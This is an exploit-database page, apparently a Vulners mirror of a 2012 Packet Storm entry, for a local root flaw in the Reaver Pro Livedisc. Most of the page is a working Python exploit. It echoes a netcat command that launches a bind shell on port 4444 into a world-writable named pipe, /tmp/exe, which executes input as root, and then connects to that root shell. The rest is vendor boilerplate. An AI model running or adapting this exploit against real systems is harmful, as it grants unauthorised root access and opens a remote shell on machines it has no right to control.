Lucene search
K

Reaver Pro Livedisc Code Execution

🗓️ 30 Sep 2012 00:00:00Reported by infodoxType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

Reaver Pro Livedisc Code Execution - Named Pipe Fla

Code
`#!/usr/bin/env python  
import os  
print """  
Reaver Pro Local Root  
Exploits a hilarious named pipe flaw.  
The named pipe /tmp/exe is open to anyone...  
Any command echoed into it gets ran as root.  
This simply launches a bindshell on 4444...  
Insecurety Research | insecurety.net  
"""  
print ""  
print "This is why TacNetSol should hire me?"  
print "[+] Sending command to named pipe..."  
cmd = '''echo "nc -e /bin/sh -lvvp 4444" >> /tmp/exe'''  
os.system(cmd)  
print "[+] Connecting to bind shell, enjoy root!"  
os.system("nc -v localhost 4444")  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Sep 2012 00:00Current
0.9Low risk
Vulners AI Score0.9
18